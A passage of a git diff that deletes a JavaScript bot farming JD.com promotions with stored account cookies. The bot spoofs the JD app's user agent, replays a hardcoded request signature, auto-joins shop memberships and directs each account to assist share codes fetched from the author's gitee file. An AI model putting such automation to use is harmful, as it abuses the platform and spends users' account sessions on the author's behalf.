t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/backUp/jd_lzdz1_huiju2.js b/backUp/jd_lzdz1_huiju2.js deleted file mode 100644 index 9b3a1cf..0000000 --- a/backUp/jd_lzdz1_huiju2.js +++ /dev/null @@ -1,585 +0,0 @@ -/* -惠聚京东 好物连连 - -https://lzdz1-isv.isvjcloud.com/dingzhi/customized/common/activity/5063373?activityId=llk20211020&shareUuid=91245cc15b1847b1961c10c5412f2420 -*/ -const $ = new Env("惠聚京东 好物连连"); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; -let cookiesArr = [], cookie = '', message = ''; -let ownCode = null; -let authorCodeList = [] -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; -} else { - let cookiesData = $.getdata('CookiesJD') || "[]"; - cookiesData = JSON.parse(cookiesData); - cookiesArr = cookiesData.map(item => item.cookie); - cookiesArr.reverse(); - cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); - cookiesArr.reverse(); - cookiesArr = cookiesArr.filter(item => !!item); -} -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return; - } - authorCodeList = await getAuthorCodeList('https://gitee.com/fatelight/dongge/raw/master/dongge/lzdz1_huanju2.json') - if(authorCodeList === '404: Not Found'){ - authorCodeList = [ - 'e4bf94e2bfb64e68aec75908af30a950', - ] - } - // console.log(authorCodeList) - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i] - originCookie = cookiesArr[i] - newCookie = '' - $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - await checkCookie(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - // if ($.isNode()) { - // await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - // } - continue - } - $.bean = 0; - $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); - $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); - // $.authorCode = authorCodeList[random(0, authorCodeList.length)] - $.authorCode = ownCode ? ownCode : authorCodeList[random(0, authorCodeList.length)] - $.authorNum = `${random(1000000, 9999999)}` - $.randomCode = random(1000000, 9999999) - $.activityId = 'llk20211020' - $.activityShopId = '1000001373' - $.activityUrl = `https://lzdz1-isv.isvjcloud.com/dingzhi/customized/common/activity/${$.authorNum}?activityId=${$.activityId}&shareUuid=${encodeURIComponent($.authorCode)}&adsource=null&shareuserid4minipg=null&shopid=undefined&lng=00.000000&lat=00.000000&sid=&un_area=` - await member(); - await $.wait(5000) - if ($.bean > 0) { - message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。` - } - } - } - if (message !== '') { - if ($.isNode()) { - await notify.sendNotify($.name, message, '', `\n`); - } else { - $.msg($.name, '有点儿收获', message); - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - - -async function member() { - $.token = null; - $.secretPin = null; - $.openCardActivityId = null - await getFirstLZCK() - await getToken(); - await task('dz/common/getSimpleActInfoVo', `activityId=${$.activityId}`, 1) - if ($.token) { - await getMyPing(); - if ($.secretPin) { - console.log("去助力 -> "+$.authorCode) - await task('common/accessLogWithAD', `venderId=${$.activityShopId}&code=99&pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&pageUrl=${$.activityUrl}&subType=app&adSource=null`, 1); - await task('wxActionCommon/getUserInfo', `pin=${encodeURIComponent($.secretPin)}`, 1) - if ($.index === 1) { - await task('linkgame/activity/content', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`, 0, 1) - } else { - await task('linkgame/activity/content', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`) - } - $.log("关注店铺") - await task('linkgame/follow/shop', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`) - await task('taskact/common/drawContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`) - await task('linkgame/checkOpenCard', `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}`) - $.log("加入店铺会员") - if ($.openCardList) { - for (let i = 0; i < ($.openCardList.length); i++) { - $.log(">>> 模拟上报访问记录") - await task('crm/pageVisit/insertCrmPageVisit', `venderId=1000001373&pageId=llk20211020&elementId=入会跳转&pin=${encodeURIComponent($.secretPin)}`, 1) - await $.wait(2000) - } - - for (const vo of $.openCardList) { - $.log(`>>> 去加入${vo.name} ${vo.venderId}`) - if (vo.status === 0) { - await getShopOpenCardInfo({ "venderId": `${vo.venderId}`, "channel": "401" }, vo.venderId) - await bindWithVender({ "venderId": `${vo.venderId}`, "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, "activityId": $.openCardActivityId, "channel": 401 }, vo.venderId) - await $.wait(2000) - } else { - $.log(`>>> 已经是会员`) - } - - } - } else { - $.log("没有获取到对应的任务。\n") - } - await task('linkgame/checkOpenCard', `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}`) - if ($.openCardStatus) { - console.log('去助力 -> ' + $.authorCode) - if ($.openCardStatus.allOpenCard) { - await task('linkgame/assist/status', `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&shareUuid=${$.authorCode}`) - await task('linkgame/assist', `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&shareUuid=${$.authorCode}`) - - } - } - await task('linkgame/help/list', `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}`) - - await task('linkgame/task/info', `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}`) - if ($.TaskList) { - tasklist = $.TaskList - if (!$.TaskList.sign) { - await task('linkgame/sign', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`); - } else { - console.log("已完成签到") - } - if (!$.TaskList.visitSku) { - for (const vo of tasklist.visitSkuList) { - if (vo.status === 0) { - await task('linkgame/browseGoods', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&value=${vo.goodsCode}`) - } - } - } else { - console.log("已完成浏览任务"); - } - if (!$.TaskList.addCart) { - await task('linkgame/addCart', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`); - } else { - console.log("加购任务已完成") - } - } - } - } -} - -function task(function_id, body, isCommon = 0, own = 0) { - return new Promise(resolve => { - $.post(taskUrl(function_id, body, isCommon), async (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - - if (data) { - data = JSON.parse(data); - if (data.result) { - switch (function_id) { - case 'dz/common/getSimpleActInfoVo': - $.jdActivityId = data.data.jdActivityId; - $.venderId = data.data.venderId; - $.activityType = data.data.activityType; - break; - case 'wxActionCommon/getUserInfo': - break; - case 'linkgame/activity/content': - if (!data.data.hasEnd) { - $.log(`开启【${data.data.activity['name']}】活动`) - $.log("-------------------") - if ($.index === 1) { - ownCode = data.data.actor['actorUuid'] - console.log(ownCode) - } - $.actorUuid = data.data.actor['actorUuid']; - } else { - $.log("活动已经结束"); - } - break; - case 'linkgame/checkOpenCard': - $.openCardList = data.data.openCardList; - $.openCardStatus = data.data; - // console.log(data) - break; - case 'linkgame/follow/shop': - console.log(data) - break; - case 'linkgame/sign': - console.log(data) - break; - case 'linkgame/addCart': - console.log(data) - break; - case 'linkgame/browseGoods': - console.log(data) - break; - case 'interaction/write/writePersonInfo': - console.log(data) - break; - case 'linkgame/task/info': - console.log(data) - break; - case 'linkgame/assist/status': - console.log(data) - break; - case 'linkgame/assist': - console.log(data) - break; - case 'linkgame/help/list': - console.log(data) - break; - default: - // $.log(JSON.stringify(data)) - break; - } - } else { - // $.log(JSON.stringify(data)) - } - } else { - // $.log("京东没有返回数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - }) - }) -} -function getShopOpenCardInfo(body, venderId) { - let opt = { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - Host: 'api.m.jd.com', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - 'Accept-Language': 'zh-cn', - Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=801&returnUrl=${encodeURIComponent($.activityUrl)}`, - 'Accept-Encoding': 'gzip, deflate, br' - } - } - return new Promise(resolve => { - $.get(opt, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - res = JSON.parse(data) - if (res.success) { - if (res.result.interestsRuleList) { - $.openCardActivityId = res.result.interestsRuleList[0].interestsInfo.activityId; - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - - }) -} -function bindWithVender(body, venderId) { - let opt = { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - Host: 'api.m.jd.com', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - 'Accept-Language': 'zh-cn', - Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=401&returnUrl=${encodeURIComponent($.activityUrl)}`, - 'Accept-Encoding': 'gzip, deflate, br' - } - } - return new Promise(resolve => { - $.get(opt, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - res = JSON.parse(data) - if (res.success) { - if (res.result.giftInfo && res.result.giftInfo.giftList) { - for (const vo of res.result.giftInfo.giftList) { - if (vo.prizeType === 4) { - $.log(`==>获得【${vo.quantity}】京豆`) - $.bean += vo.quantity - } - } - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - - }) -} - -function getAuthorCodeList(url) { - return new Promise(resolve => { - const options = { - url: `${url}?${new Date()}`, "timeout": 10000, headers: { - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - } - }; - $.get(options, async (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (data) data = JSON.parse(data) - } - } catch (e) { - $.logErr(e, resp) - data = null; - } finally { - resolve(data); - } - }) - }) -} - -function taskUrl(function_id, body, isCommon) { - return { - url: isCommon ? `https://lzdz1-isv.isvjcloud.com/${function_id}` : `https://lzdz1-isv.isvjcloud.com/dingzhi/${function_id}`, - headers: { - Host: 'lzdz1-isv.isvjcloud.com', - Accept: 'application/json', - 'X-Requested-With': 'XMLHttpRequest', - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - 'Content-Type': 'application/x-www-form-urlencoded', - Origin: 'https://lzdz1-isv.isvjcloud.com', - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - Connection: 'keep-alive', - Referer: $.activityUrl, - Cookie: cookie - }, - body: body - - } -} - -function getMyPing() { - let opt = { - url: `https://lzdz1-isv.isvjcloud.com/customer/getMyPing`, - headers: { - Host: 'lzdz1-isv.isvjcloud.com', - Accept: 'application/json', - 'X-Requested-With': 'XMLHttpRequest', - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - 'Content-Type': 'application/x-www-form-urlencoded', - Origin: 'https://lzdz1-isv.isvjcloud.com', - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - Connection: 'keep-alive', - Referer: $.activityUrl, - Cookie: cookie, - }, - body: `userId=${$.activityShopId}&token=${$.token}&fromType=APP&riskType=1` - } - return new Promise(resolve => { - $.post(opt, (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (resp['headers']['set-cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (resp['headers']['Set-Cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (data) { - data = JSON.parse(data) - if (data.result) { - $.log(`你好:${data.data.nickname}`) - $.pin = data.data.nickname; - $.secretPin = data.data.secretPin; - cookie = `${cookie};AUTH_C_USER=${data.data.secretPin}` - } else { - $.log(data.errorMessage) - } - } else { - $.log("京东返回了空数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - - }) - }) -} -function getFirstLZCK() { - return new Promise(resolve => { - $.get({ url: $.activityUrl }, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - if (resp['headers']['set-cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (resp['headers']['Set-Cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - }) -} -function getToken() { - let opt = { - url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, - headers: { - Host: 'api.m.jd.com', - 'Content-Type': 'application/x-www-form-urlencoded', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': 'JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)', - 'Accept-Language': 'zh-Hans-CN;q=1', - 'Accept-Encoding': 'gzip, deflate, br', - }, - body: `body=%7B%22url%22%3A%20%22https%3A//lzkj-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=hjudwgohxzVu96krv&client=apple&clientVersion=9.4.0&st=1620476162000&sv=111&sign=f9d1b7e3b943b6a136d54fe4f892af05` - } - return new Promise(resolve => { - $.post(opt, (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (data) { - data = JSON.parse(data); - if (data.code === "0") { - $.token = data.token - } - } else { - $.log("京东返回了空数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - }) - }) -} -function random(min, max) { - - return Math.floor(Math.random() * (max - min)) + min; - -} -function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { - return format.replace(/[xy]/g, function (c) { - var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); - if (UpperCase) { - uuid = v.toString(36).toUpperCase(); - } else { - uuid = v.toString(36) - } - return uuid; - }); -} -function checkCookie() { - const options = { - url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", - headers: { - "Host": "me-api.jd.com", - "Accept": "*/*", - "Connection": "keep-alive", - "Cookie": cookie, - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", - "Accept-Language": "zh-cn", - "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br", - } - }; - return new Promise(resolve => { - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data.retcode === "1001") { - $.isLogin = false; //cookie过期 - return; - } - if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - $.log('京东返回了空数据'); - } - } - } catch (e) { - $.logErr(e) - } finally { - resolve(); - } - }) - }) -} -// prettier-ignore -!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); -function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite 